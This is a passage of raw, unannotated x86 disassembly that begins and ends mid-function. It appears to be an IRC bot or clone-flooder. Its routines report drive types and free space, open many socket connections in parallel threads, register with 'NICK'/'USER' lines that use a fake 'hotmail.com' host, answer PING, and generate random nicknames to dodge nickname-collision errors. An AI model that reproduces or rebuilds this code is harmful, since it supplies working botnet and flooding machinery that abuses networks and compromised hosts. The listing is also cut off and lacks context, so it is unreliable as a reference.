arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4E7544
		push	0
		push	edi
		call	sub_41D100
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_4169D4:				; CODE XREF: sub_4169AF+5Bj
					; sub_4169AF+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_420430
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4203C0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416A12
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4169D4
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4169D4
; ---------------------------------------------------------------------------


loc_416A12:				; CODE XREF: sub_4169AF+4Bj
		dec	esi
		mov	eax, edi


loc_416A15:				; CODE XREF: sub_4169AF+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416A24
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416A15
; ---------------------------------------------------------------------------


loc_416A24:				; CODE XREF: sub_4169AF+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4169AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A2E	proc near		; CODE XREF: sub_416BE3+51p
					; sub_416BE3+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_451550
		sub	eax, 0
		jz	short loc_416A71
		dec	eax
		jz	short loc_416A6B
		dec	eax
		dec	eax
		jz	short loc_416A65
		dec	eax
		jz	short loc_416A5F
		dec	eax
		jz	short loc_416A59
		dec	eax
		jz	short loc_416A53
		mov	eax, offset dword_44CA4C
		retn
; ---------------------------------------------------------------------------


loc_416A53:				; CODE XREF: sub_416A2E+1Dj
		mov	eax, offset off_44CA48
		retn
; ---------------------------------------------------------------------------


loc_416A59:				; CODE XREF: sub_416A2E+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416A5F:				; CODE XREF: sub_416A2E+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416A65:				; CODE XREF: sub_416A2E+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416A6B:				; CODE XREF: sub_416A2E+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416A71:				; CODE XREF: sub_416A2E+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A77	proc near		; CODE XREF: sub_416ABF+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4513E8
		test	eax, eax
		jz	short loc_416AAC
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_4513E8


loc_416AAC:				; CODE XREF: sub_416A77+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ABF	proc near		; CODE XREF: sub_416BE3+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416A77
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B99
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B99
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B99
		mov	edi, 400h
		push	0
		push	edi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4204B0
		push	edx
		push	eax
		call	sub_4169AF
		push	eax
		mov	esi, 80h
		push	offset aSkb	; "%sKB"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4204B0
		push	edx
		push	eax
		call	sub_4169AF
		push	eax
		push	offset aSkb_0	; "%sKB"
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4204B0
		push	edx
		push	eax
		call	sub_4169AF
		push	eax
		push	offset aSkb_1	; "%sKB"
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41D360
		jmp	short loc_416BCC
; ---------------------------------------------------------------------------


loc_416B99:				; CODE XREF: sub_416ABF+2Cj
					; sub_416ABF+3Bj ...
		lea	eax, [ebp+var_198]
		push	offset aFailed	; "failed"
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_118]
		push	offset aFailed_0 ; "failed"
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_98]
		push	offset aFailed_1 ; "failed"
		push	eax
		call	sub_41D260


loc_416BCC:				; CODE XREF: sub_416ABF+D8j
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		lea	esi, [ebp+var_198]
		mov	edi, eax
		push	60h
		pop	ecx
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416ABF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BE3	proc near		; CODE XREF: sub_416CB5+17p
					; sub_416CB5+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416ABF
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed_2 ; "failed"
		rep movsd
		push	eax
		call	sub_41D900
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416C56
		push	ebx
		push	ebx
		call	sub_416A2E
		pop	ecx
		push	eax
		push	offset dword_44CA88
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 14h
		jmp	short loc_416C8A
; ---------------------------------------------------------------------------


loc_416C56:				; CODE XREF: sub_416BE3+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416A2E
		pop	ecx
		push	eax
		push	offset dword_44CAF0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 20h


loc_416C8A:				; CODE XREF: sub_416BE3+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4161A7
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416BE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CB5	proc near		; CODE XREF: seg000:00407C74p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416CD6
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416BE3
		add	esp, 10h
		jmp	short loc_416D37
; ---------------------------------------------------------------------------


loc_416CD6:				; CODE XREF: sub_416CB5+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_45145C
		lea	esi, [eax+2]
		push	esi
		call	sub_41AE40
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_45145C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416D2E


loc_416CFA:				; CODE XREF: sub_416CB5+77j
		push	offset dword_44CB5C
		push	esi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416D1D
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416BE3
		add	esp, 10h


loc_416D1D:				; CODE XREF: sub_416CB5+54j
		push	esi
		call	sub_41AC70
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416CFA


loc_416D2E:				; CODE XREF: sub_416CB5+43j
		push	edi
		call	sub_41B8B0
		pop	ecx
		pop	edi
		pop	esi


loc_416D37:				; CODE XREF: sub_416CB5+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416CB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D3A	proc near		; CODE XREF: sub_416F00+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_451570
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_416DB6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_4514F4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_451530
		cmp	eax, esi
		jnz	short loc_416D9B
		push	[ebp+arg_0]
		call	ds:dword_451574
		test	eax, eax
		jz	short loc_416DB6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_416D9B:				; CODE XREF: sub_416D3A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_45149C
		cmp	eax, esi
		jnz	short loc_416DBA
		push	edi
		call	ds:dword_451588


loc_416DB6:				; CODE XREF: sub_416D3A+1Bj
					; sub_416D3A+58j
		mov	eax, esi
		jmp	short loc_416DBC
; ---------------------------------------------------------------------------


loc_416DBA:				; CODE XREF: sub_416D3A+73j
		mov	eax, edi


loc_416DBC:				; CODE XREF: sub_416D3A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_416D3A	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		mov	edi, [esp+0Ch]
		push	offset asc_44D7DC ; "\n"
		push	edi
		call	sub_41E560
		pop	ecx
		mov	esi, offset dword_4E7584
		pop	ecx


loc_416DD8:				; CODE XREF: seg000:00416E02j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_416DF6
		cmp	dword ptr [esi], 0
		jbe	short loc_416DF6
		push	0
		push	edi
		call	sub_41AC70
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	ds:dword_451540


loc_416DF6:				; CODE XREF: seg000:00416DDCj
					; seg000:00416DE1j
		add	esi, 210h
		cmp	esi, offset dword_4EDCA4
		jl	short loc_416DD8
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E07	proc near		; CODE XREF: sub_416F00+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		push	edi
		push	offset asc_44D7E0 ; " "
		push	[ebp+arg_0]
		call	sub_41D6B0
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	esi, [ebp+var_1C]
		push	7
		xor	ebx, ebx
		pop	edi


loc_416E2D:				; CODE XREF: sub_416E07+39j
		push	offset asc_44D7E4 ; " "
		push	ebx
		call	sub_41D6B0
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_416E2D
		cmp	[ebp+var_20], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_416E56
		cmp	esi, ebx
		jnz	short loc_416E56
		push	1
		pop	eax
		jmp	loc_416EFB
; ---------------------------------------------------------------------------


loc_416E56:				; CODE XREF: sub_416E07+41j
					; sub_416E07+45j
		push	[ebp+var_20]
		push	offset aPing_2	; "PING"
		call	sub_41D900
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_416E80
		lea	eax, [ebp+var_220]
		push	offset aPongS_0	; "PONG	%s\n"
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		jmp	short loc_416EDA
; ---------------------------------------------------------------------------


loc_416E80:				; CODE XREF: sub_416E07+61j
		push	offset a433	; "433"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416EA1
		push	esi
		push	offset a432	; "432"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416EF9


loc_416EA1:				; CODE XREF: sub_416E07+87j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_41D100
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417120
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset aNickS_3	; "NICK	%s\n"
		push	eax
		call	sub_41D260
		add	esp, 1Ch


loc_416EDA:				; CODE XREF: sub_416E07+77j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_451540


loc_416EF9:				; CODE XREF: sub_416E07+98j
		xor	eax, eax


loc_416EFB:				; CODE XREF: sub_416E07+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416E07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F00	proc near		; DATA XREF: seg000:00417103o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41DEB0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4E758C[esi]
		mov	ds:dword_4E7580[esi], edi
		push	ds:dword_4E778C[esi]
		push	eax
		call	sub_416D3A
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4E7584[esi], eax
		jb	loc_417082
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41D100
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417120
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417120
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417120
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41D260
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	ds:dword_4E7584[esi]
		call	ds:dword_451540
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch


loc_416FD9:				; CODE XREF: sub_416F00+10Ej
					; sub_416F00+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	ds:dword_4E7584[esi]
		call	ds:dword_45150C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417082
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_416FD9


loc_417010:				; CODE XREF: sub_416F00+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417037
		cmp	al, 0Ah
		jz	short loc_417037
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417037
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417071
; ---------------------------------------------------------------------------


loc_417037:				; CODE XREF: sub_416F00+119j
					; sub_416F00+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417071
		push	ds:dword_4E7584[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_416E07
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417082
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417071:				; CODE XREF: sub_416F00+135j
					; sub_416F00+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417010
		jmp	loc_416FD9
; ---------------------------------------------------------------------------


loc_417082:				; CODE XREF: sub_416F00+40j
					; sub_416F00+104j ...
		mov	ds:dword_4E7580[esi], ebx
		mov	esi, ds:dword_4E7584[esi]
		cmp	esi, ebx
		jbe	short loc_417099
		push	esi
		call	ds:dword_451588


loc_417099:				; CODE XREF: sub_416F00+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_416F00	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+10h], ebx
		push	esi
		push	edi
		mov	[ebp-4], ebx
		jle	short loc_41711B


loc_4170B4:				; CODE XREF: seg000:00417119j
		xor	edi, edi
		mov	eax, offset dword_4E7580


loc_4170BB:				; CODE XREF: seg000:004170CAj
		cmp	[eax], ebx
		jz	short loc_4170CC
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4EDCA0
		jl	short loc_4170BB


loc_4170CC:				; CODE XREF: seg000:004170BDj
		cmp	edi, 31h
		jz	short loc_41711B
		mov	esi, edi
		push	dword ptr [ebp+8]
		imul	esi, 210h
		lea	eax, dword_4E758C[esi]
		push	eax
		call	sub_41E550
		mov	eax, [ebp+0Ch]
		pop	ecx
		mov	ds:dword_4E778C[esi], eax
		pop	ecx
		lea	eax, [ebp-8]
		mov	ds:dword_4E7580[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_416F00
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		inc	dword ptr [ebp-4]
		mov	eax, [ebp-4]
		cmp	eax, [ebp+10h]
		jl	short loc_4170B4


loc_41711B:				; CODE XREF: seg000:004170B2j
					; seg000:004170CFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417120	proc near		; CODE XREF: sub_416E07+B3p
					; sub_416F00+60p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		call	sub_41DBA0
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	ds:dbl_4394C0
		call	sub_41F33C
		cmp	eax, 1
		jnz	short loc_41716A
		call	sub_41DBA0
		call	sub_41DBA0
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	ds:off_44CE60[edx*4]
		jmp	short loc_417183
; ---------------------------------------------------------------------------


loc_41716A:				; CODE XREF: sub_417120+2Fj
		call	sub_41DBA0
		call	sub_41DBA0
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	ds:off_44CB60[edx*4]


loc_417183:				; CODE XREF: sub_417120+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41E550
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AC70
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4394B8
		call	sub_41F33C
		mov	ebx, eax
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4394B0
		call	sub_41F33C
		cmp	esi, 2
		mov	edi, offset a__1 ; "-|`_\\{[]}"
		jle	short loc_4171F6
		cmp	esi, 3
		jnz	short loc_4171ED
		cmp	ebx, 1
		jz	short loc_4171F6


loc_4171ED:				; CODE XREF: sub_417120+C6j
		cmp	eax, 1
		jnz	loc_4172B0


loc_4171F6:				; CODE XREF: sub_417120+C1j
					; sub_417120+CBj
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4394A8
		call	sub_41F33C
		push	ds:off_44CE60[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41E550
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41E650
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41729D
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41E650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41729D
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4394B0
		call	sub_41F33C
		cmp	eax, 1
		jnz	short loc_41729D
		push	edi
		call	sub_41AC70
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	ds:dbl_4394B0
		call	sub_41F33C
		mov	al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_41729D:				; CODE XREF: sub_417120+111j
					; sub_417120+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41E710
		add	esp, 0Ch


loc_4172B0:				; CODE XREF: sub_417120+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AC70
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_420630
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417518
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41E650
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41740F
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4394B0
		call	sub_41F33C
		cmp	esi, 3
		jz	short loc_41731E
		cmp	eax, 1
		jnz	loc_41740F


loc_41731E:				; CODE XREF: sub_417120+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417360
		push	edi
		call	sub_41AC70
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_4394B0
		call	sub_41F33C
		mov	al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_41737C
; ---------------------------------------------------------------------------


loc_417360:				; CODE XREF: sub_417120+207j
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4394A0
		call	sub_41F33C
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_41737C:				; CODE XREF: sub_417120+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_439498
		call	sub_41F33C
		cmp	esi, 3
		jz	short loc_4173A5
		cmp	eax, ebx
		jnz	short loc_41740F


loc_4173A5:				; CODE XREF: sub_417120+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4173EA
		push	edi
		call	sub_41AC70
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_4394B0
		call	sub_41F33C
		mov	al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417408
; ---------------------------------------------------------------------------


loc_4173EA:				; CODE XREF: sub_417120+28Fj
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4394A0
		call	sub_41F33C
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417408:				; CODE XREF: sub_417120+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_41740F:				; CODE XREF: sub_417120+1C9j
					; sub_417120+1F8j ...
		cmp	esi, 6
		jge	loc_417498
		cmp	esi, 5
		jge	short loc_417430
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4394B8
		jmp	short loc_41744E
; ---------------------------------------------------------------------------


loc_417430:				; CODE XREF: sub_417120+2FBj
		call	sub_41DBA0
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4394B0


loc_41744E:				; CODE XREF: sub_417120+30Ej
		call	sub_41F33C
		test	eax, eax
		jnz	short loc_417471
		call	sub_41DBA0
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_439490
		call	sub_41F33C
		mov	cl, 30h
		jmp	short loc_41748E
; ---------------------------------------------------------------------------


